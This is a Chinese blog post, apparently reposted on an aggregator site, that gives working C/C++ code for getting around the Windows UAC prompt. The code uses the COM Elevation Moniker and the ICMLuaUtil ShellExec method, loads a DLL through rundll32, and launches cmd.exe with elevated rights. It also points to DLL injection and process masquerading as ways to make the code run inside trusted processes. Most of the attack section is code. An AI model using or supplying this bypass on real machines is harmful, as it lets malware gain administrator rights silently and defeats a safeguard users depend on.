欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 财经 > 创投人物 > Win32绕过UAC弹窗获取管理员权限

Win32绕过UAC弹窗获取管理员权限

2024/10/24 19:25:49 来源:https://blog.csdn.net/zhaotianff/article/details/141897544  浏览:    关键词:Win32绕过UAC弹窗获取管理员权限

在早些年写一些桌面软件时,需要管理员权限,但是又不想UAC弹窗,所以一般是直接将UAC的级别拉到最低,或者直接禁用UAC的相关功能。

什么是UAC(User Account Control)

用户帐户控制 (UAC) 是一项 Windows 安全功能,旨在保护操作系统免受未经授权的更改。 当对系统的更改需要管理员级权限时,UAC 会通知用户,从而让用户有机会批准或拒绝更改。 UAC 通过限制恶意代码拥有的以管理员权限执行的访问权限来提高 Windows 设备的安全性。 UAC 使用户能够就可能影响设备稳定性和安全性的操作做出明智的决策。

除非禁用 UAC,否则会阻止恶意软件禁用或干扰 UAC 设置。 UAC 默认处于启用状态,如果具有管理员权限,则可以对其进行配置。

关于UAC这里仅做简单介绍,可以在文末的参考资料里获取关于UAC的更详细的介绍。

绕过UAC弹窗目前流行的有几种方案,这里只介绍基于COM组件的

利用COM组件绕过UAC

原理

COM Elevation Moniker技术允许运行在用户账户控制下的应用提升权限的方法来激活COM类,以提升COM接口权限。

主要用到了ICMLuaUtil接口,它提供了一个ShellExec方法来执行命令,创建指定进程。

ICMLuaUtil接口定义如下:

  1 #include <Windows.h>2 #include <objbase.h>3 #include <strsafe.h>4 5 6 #define CLSID_CMSTPLUA                     L"{3E5FC7F9-9A51-4367-9063-A120244FBEC7}"7 #define IID_ICMLuaUtil                     L"{6EDD6D74-C007-4E75-B76A-E5740995E24C}"8 9 10 typedef interface ICMLuaUtil ICMLuaUtil;11 12 typedef struct ICMLuaUtilVtbl {13 14     BEGIN_INTERFACE15 16         HRESULT(STDMETHODCALLTYPE *QueryInterface)(17         __RPC__in ICMLuaUtil * This,18         __RPC__in REFIID riid,19         _COM_Outptr_  void **ppvObject);20 21         ULONG(STDMETHODCALLTYPE *AddRef)(22             __RPC__in ICMLuaUtil * This);23 24         ULONG(STDMETHODCALLTYPE *Release)(25             __RPC__in ICMLuaUtil * This);26 27         HRESULT(STDMETHODCALLTYPE *Method1)(28             __RPC__in ICMLuaUtil * This);29 30         HRESULT(STDMETHODCALLTYPE *Method2)(31             __RPC__in ICMLuaUtil * This);32 33         HRESULT(STDMETHODCALLTYPE *Method3)(34             __RPC__in ICMLuaUtil * This);35 36         HRESULT(STDMETHODCALLTYPE *Method4)(37             __RPC__in ICMLuaUtil * This);38 39         HRESULT(STDMETHODCALLTYPE *Method5)(40             __RPC__in ICMLuaUtil * This);41 42         HRESULT(STDMETHODCALLTYPE *Method6)(43             __RPC__in ICMLuaUtil * This);44 45         HRESULT(STDMETHODCALLTYPE *ShellExec)(46             __RPC__in ICMLuaUtil * This,47             _In_     LPCWSTR lpFile,48             _In_opt_  LPCTSTR lpParameters,49             _In_opt_  LPCTSTR lpDirectory,50             _In_      ULONG fMask,51             _In_      ULONG nShow52             );53 54         HRESULT(STDMETHODCALLTYPE *SetRegistryStringValue)(55             __RPC__in ICMLuaUtil * This,56             _In_      HKEY hKey,57             _In_opt_  LPCTSTR lpSubKey,58             _In_opt_  LPCTSTR lpValueName,59             _In_      LPCTSTR lpValueString60             );61 62         HRESULT(STDMETHODCALLTYPE *Method9)(63             __RPC__in ICMLuaUtil * This);64 65         HRESULT(STDMETHODCALLTYPE *Method10)(66             __RPC__in ICMLuaUtil * This);67 68         HRESULT(STDMETHODCALLTYPE *Method11)(69             __RPC__in ICMLuaUtil * This);70 71         HRESULT(STDMETHODCALLTYPE *Method12)(72             __RPC__in ICMLuaUtil * This);73 74         HRESULT(STDMETHODCALLTYPE *Method13)(75             __RPC__in ICMLuaUtil * This);76 77         HRESULT(STDMETHODCALLTYPE *Method14)(78             __RPC__in ICMLuaUtil * This);79 80         HRESULT(STDMETHODCALLTYPE *Method15)(81             __RPC__in ICMLuaUtil * This);82 83         HRESULT(STDMETHODCALLTYPE *Method16)(84             __RPC__in ICMLuaUtil * This);85 86         HRESULT(STDMETHODCALLTYPE *Method17)(87             __RPC__in ICMLuaUtil * This);88 89         HRESULT(STDMETHODCALLTYPE *Method18)(90             __RPC__in ICMLuaUtil * This);91 92         HRESULT(STDMETHODCALLTYPE *Method19)(93             __RPC__in ICMLuaUtil * This);94 95         HRESULT(STDMETHODCALLTYPE *Method20)(96             __RPC__in ICMLuaUtil * This);97 98     END_INTERFACE99 
100 } *PICMLuaUtilVtbl;
101 
102 interface ICMLuaUtil
103 {
104     CONST_VTBL struct ICMLuaUtilVtbl *lpVtbl;
105 };

使用权限提升COM类的程序必须通过调用CoCreateInstanceAsAdmin函数来创建COM类。

CoCreateInstanceAsAdmin参考代码如下:

 1 HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID *ppVoid)2 {3     BIND_OPTS3 bo;4     WCHAR wszCLSID[MAX_PATH] = { 0 };5     WCHAR wszMonikerName[MAX_PATH] = { 0 };6     HRESULT hr = 0;7 8     // 初始化COM环境9     ::CoInitialize(NULL);
10 
11     // 构造字符串
12     ::StringFromGUID2(rclsid, wszCLSID, (sizeof(wszCLSID) / sizeof(wszCLSID[0])));
13     hr = ::StringCchPrintfW(wszMonikerName, (sizeof(wszMonikerName) / sizeof(wszMonikerName[0])), L"Elevation:Administrator!new:%s", wszCLSID);
14     if (FAILED(hr))
15     {
16         return hr;
17     }
18 
19     // 设置BIND_OPTS3
20     ::RtlZeroMemory(&bo, sizeof(bo));
21     bo.cbStruct = sizeof(bo);
22     bo.hwnd = hWnd;
23     bo.dwClassContext = CLSCTX_LOCAL_SERVER;
24 
25     // 创建名称对象并获取COM对象
26     hr = ::CoGetObject(wszMonikerName, &bo, riid, ppVoid);
27     return hr;
28 }

CoCreateInstanceAsAdmin函数的作用是创建并激活提升权限的COM类。

ICMLuaUtil接口通过上述方法创建后,再调用ShellExec方法来创建指定进程,可以绕过UAC。

调用ShellExec的方法如下:

 1 BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable)2 {3     HRESULT hr = 0;4     CLSID clsidICMLuaUtil = { 0 };5     IID iidICMLuaUtil = { 0 };6     ICMLuaUtil *CMLuaUtil = NULL;7     BOOL bRet = FALSE;8 9     
10     ::CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil);
11     ::IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil);
12 
13     // 提权
14     hr = CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil));
15     if (FAILED(hr))
16     {
17         return FALSE;
18     }
19 
20     // 启动程序
21     hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW);
22     if (FAILED(hr))
23     {
24         return FALSE;
25     }
26 
27     bRet = TRUE;
28     
29 
30     // 释放
31     if (CMLuaUtil) 
32     {
33         CMLuaUtil->lpVtbl->Release(CMLuaUtil);
34     }
35 
36     return bRet;
37 }

到这一步我们就可以以提升过的权限执行对应 的程序 ,如果执行COM Elevation Moniker的程序身份是不可信的(未签名/签名不受信息/已过期等),则会触发UAC弹窗,如果是可信的,就不会触发UAC弹窗。

想要绕过UAC弹窗,就得想办法让上述代码在可信程序中运行。

可信程序包括但不限于calc.exe、notepad.exe、explorer.exe、rundll32.exe等。

可以通过以下几种方式让上述代码在可信任程序中运行:

1、DLL注入或劫持

2、进程伪装

3、通过rundll32.exe来加载DLL,执行COM Elevation Moniker代码

DLL注入可以查看我前面写的一篇文章:

https://www.cnblogs.com/zhaotianff/p/18070259

进程伪装可以查看文末的参考资料中的链接。

本文以rundll32.exe进行演示。利用rundll32.exe调用DLL中的导出函数,其中导出函数的声明如下:

1 void CALLBACK Func(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int iCmdShow)

我们可以创建一个DLL工程,创建一个导出函数,在导出函数中调用前面的代码,示例如下:

1 // 导出函数给rundll32.exe调用执行
2 void CALLBACK BypassUAC(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int iCmdShow)
3 {
4     CMLuaUtilBypassUAC(L"C:\\Windows\\System32\\cmd.exe");
5 }

然后再通过cmd去执行rundll32.exe,或通过编程的方式

cmd

1 rundll32.exe "BypassUAC_Dll.dll" BypassUAC

cpp

 1 #include <iostream>2 #include<Windows.h>3 #include<tchar.h>4 5 void main()6 {7     TCHAR szCmdLine[MAX_PATH] = { 0 };8     TCHAR szRundll32Path[MAX_PATH] = L"C:\\Windows\\System32\\rundll32.exe";9     TCHAR szDllPath[MAX_PATH] = L"C:\\Users\\xi\\Desktop\\src\\BypassUACDemo\\Debug\\BypassUAC_DLL.dll";
10     wsprintf(szCmdLine, L"%s \"%s\" %s", szRundll32Path, szDllPath, L"BypassUAC");
11     STARTUPINFO si{};
12     si.cb = sizeof(STARTUPINFO);
13     PROCESS_INFORMATION pi{};
14     CreateProcess(NULL, szCmdLine, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
15 }

运行效果:

示例代码

参考资料:

用户帐户控制工作原理

https://learn.microsoft.com/zh-cn/windows/security/application-security/application-control/user-account-control/how-it-works

Bypass UAC(用户账户控制)的几种方法探究及案例

https://www.freebuf.com/articles/network/332619.html

UACME

https://github.com/hfiref0x/UACME

BypassUAC

https://github.com/0xlane/BypassUAC

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com